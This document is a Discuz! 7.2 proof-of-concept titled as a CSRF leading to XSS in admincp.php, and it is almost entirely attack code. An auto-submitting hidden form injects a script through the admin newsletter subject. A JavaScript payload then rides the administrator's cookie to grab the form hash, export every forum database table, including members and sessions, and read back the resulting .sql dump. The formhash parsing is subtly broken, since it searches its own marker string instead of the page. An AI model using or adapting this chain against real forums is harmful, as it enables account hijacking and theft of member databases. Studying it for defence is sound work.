Discuz! admincp.php CSRF引起XSS

<form id="post123" name="post123" action="http://a.com/dz72/admincp.php?action=members&operation=newsletter&username=%2A&uid=0&srchemail=&regdatebefore=&regdateafter=&postshigher=&postslower=&regip=&lastip=&lastvisitafter=&lastvisitbefore=&lastpostafter=&lastpostbefore=&birthyear=&birthmonth=&birthday=&lower[credits]=&lower[extcredits1]=&lower[extcredits2]=&higher[credits]=&higher[extcredits1]=&higher[extcredits2]=" method="post"> <input type=hidden name=subject value="%3Cscript%3Ealert%28%2Fxss%2F%29%3B%3C%2Fscript%3E"> <input type=hidden name=message value="test"> <input type=hidden name=sendvia value="pm"> <input type=hidden name=pertask value="1000"> <input type=hidden name=newslettersubmit value="%E6%8F%90%E4%BA%A4"> <script> document.getElementById('post123').submit(); </script> </form> function ajax(){ var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); } else if(window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i<versions.length; i++) { try { request = new ActiveXObject(versions[i]); } catch(e) {} } } return request; } var formhash = ''; var cookie = document.cookie; var _x = ajax(); request_get(); function request_get() { src="http://a.com/dz72/admincp.php?action=settings&operation=basic"; data=""; xhr_act("GET",src,data); } function sleep(n){ var start=new Date().getTime(); while(true) if(new Date().getTime()-start>n) break; } function request_post(flag) { src="http://a.com/dz72/admincp.php?action=db&operation=export&setup=1"; if(flag == 1){ data='formhash='+formhash+'&scrolltop=&anchor=&type=discuz&chkall=on&customtables%5B%5D=cdb_access&customtables%5B%5D=cdb_activities&customtables%5B%5D=cdb_activityapplies&customtables%5B%5D=cdb_addons&customtables%5B%5D=cdb_adminactions&customtables%5B%5D=cdb_admincustom&customtables%5B%5D=cdb_admingroups&customtables%5B%5D=cdb_adminnotes&customtables%5B%5D=cdb_adminsessions&customtables%5B%5D=cdb_advertisements&customtables%5B%5D=cdb_announcements&customtables%5B%5D=cdb_attachmentfields&customtables%5B%5D=cdb_attachments&customtables%5B%5D=cdb_attachpaymentlog&customtables%5B%5D=cdb_attachtypes&customtables%5B%5D=cdb_banned&customtables%5B%5D=cdb_bbcodes&customtables%5B%5D=cdb_caches&customtables%5B%5D=cdb_creditslog&customtables%5B%5D=cdb_crons&customtables%5B%5D=cdb_debateposts&customtables%5B%5D=cdb_debates&customtables%5B%5D=cdb_failedlogins&customtables%5B%5D=cdb_faqs&customtables%5B%5D=cdb_favoriteforums&customtables%5B%5D=cdb_favorites&customtables%5B%5D=cdb_favoritethreads&customtables%5B%5D=cdb_feeds&customtables%5B%5D=cdb_forumfields&customtables%5B%5D=cdb_forumlinks&customtables%5B%5D=cdb_forumrecommend&customtables%5B%5D=cdb_forums&customtables%5B%5D=cdb_imagetypes&customtables%5B%5D=cdb_invites&customtables%5B%5D=cdb_itempool&customtables%5B%5D=cdb_magiclog&customtables%5B%5D=cdb_magicmarket&customtables%5B%5D=cdb_magics&customtables%5B%5D=cdb_medallog&customtables%5B%5D=cdb_medals&customtables%5B%5D=cdb_memberfields&customtables%5B%5D=cdb_membermagics&customtables%5B%5D=cdb_memberrecommend&customtables%5B%5D=cdb_members&customtables%5B%5D=cdb_memberspaces&customtables%5B%5D=cdb_moderators&customtables%5B%5D=cdb_modworks&customtables%5B%5D=cdb_mytasks&customtables%5B%5D=cdb_navs&customtables%5B%5D=cdb_onlinelist&customtables%5B%5D=cdb_onlinetime&customtables%5B%5D=cdb_orders&customtables%5B%5D=cdb_paymentlog&customtables%5B%5D=cdb_pluginhooks&customtables%5B%5D=cdb_plugins&customtables%5B%5D=cdb_pluginvars&customtables%5B%5D=cdb_polloptions&customtables%5B%5D=cdb_polls&customtables%5B%5D=cdb_postposition&customtables%5B%5D=cdb_posts&customtables%5B%5D=cdb_profilefields&customtables%5B%5D=cdb_projects&customtables%5B%5D=cdb_promotions&customtables%5B%5D=cdb_prompt&customtables%5B%5D=cdb_promptmsgs&customtables%5B%5D=cdb_prompttype&customtables%5B%5D=cdb_ranks&customtables%5B%5D=cdb_ratelog&customtables%5B%5D=cdb_regips&customtables%5B%5D=cdb_relatedthreads&customtables%5B%5D=cdb_reportlog&customtables%5B%5D=cdb_request&customtables%5B%5D=cdb_rewardlog&customtables%5B%5D=cdb_rsscaches&customtables%5B%5D=cdb_searchindex&customtables%5B%5D=cdb_sessions&customtables%5B%5D=cdb_settings&customtables%5B%5D=cdb_smilies&customtables%5B%5D=cdb_spacecaches&customtables%5B%5D=cdb_stats&customtables%5B%5D=cdb_statvars&customtables%5B%5D=cdb_styles&customtables%5B%5D=cdb_stylevars&customtables%5B%5D=cdb_tags&customtables%5B%5D=cdb_tasks&customtables%5B%5D=cdb_taskvars&customtables%5B%5D=cdb_templates&customtables%5B%5D=cdb_threads&customtables%5B%5D=cdb_threadsmod&customtables%5B%5D=cdb_threadtags&customtables%5B%5D=cdb_threadtypes&customtables%5B%5D=cdb_tradecomments&customtables%5B%5D=cdb_tradelog&customtables%5B%5D=cdb_tradeoptionvars&customtables%5B%5D=cdb_trades&customtables%5B%5D=cdb_typemodels&customtables%5B%5D=cdb_typeoptions&customtables%5B%5D=cdb_typeoptionvars&customtables%5B%5D=cdb_typevars&customtables%5B%5D=cdb_usergroups&customtables%5B%5D=cdb_validating&customtables%5B%5D=cdb_warnings&customtables%5B%5D=cdb_words&method=multivol&sizelimit=2048&extendins=0&sqlcompat=&usehex=1&usezip=0&filename=140915_ce31AeXP&exportsubmit=%E6%8F%90%E4%BA%A4'; xhr_act("POST",src,data); }else{ return; } } function get_database_sql_url(_m,_s,_a){ _x.open(_m,_s,false); _x.setRequestHeader("Cookie",cookie); _x.send(); var document_str = _x.responseText; var p = new RegExp('<a href="(.*\\.sql)">'); var rs = document_str.match(p); var baseurl='http://a.com/dz72/'; if(rs){ baseurl = baseurl+rs[1]; get_database_content("GET",baseurl,""); }else{ return false; } } function get_database_content(_m,_s,_a){ _x.open(_m,_s,false); _x.setRequestHeader("Cookie",cookie); _x.send(); console.log(_x.responseText); } function xhr_act(_m,_s,_a){ if(_m == "GET"){ _x.open(_m,_s,false); _x.setRequestHeader("Cookie",cookie); _x.send(); var document_str = _x.responseText; console.log(document_str); var basestr = 'name="formhash" value="'; var formhashpos = basestr.indexOf(basestr); var realpos = formhashpos + basestr.length; formhash = document_str.substr(realpos,8); if(formhash){ var count_0 = 1; var count_1 = 1; for(var i=0;i<count_0;i++) request_post(1) sleep(3000); for(var j=0;j<count_1;j++){ var sqlback_url = "http://a.com/dz72/admincp.php?action=db&operation=import"; get_database_sql_url("GET",sqlback_url,""); } } }else{ _x.open(_m,_s,false); _x.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); _x.setRequestHeader("Cookie",cookie); _x.send(_a); return _x.responseText; } }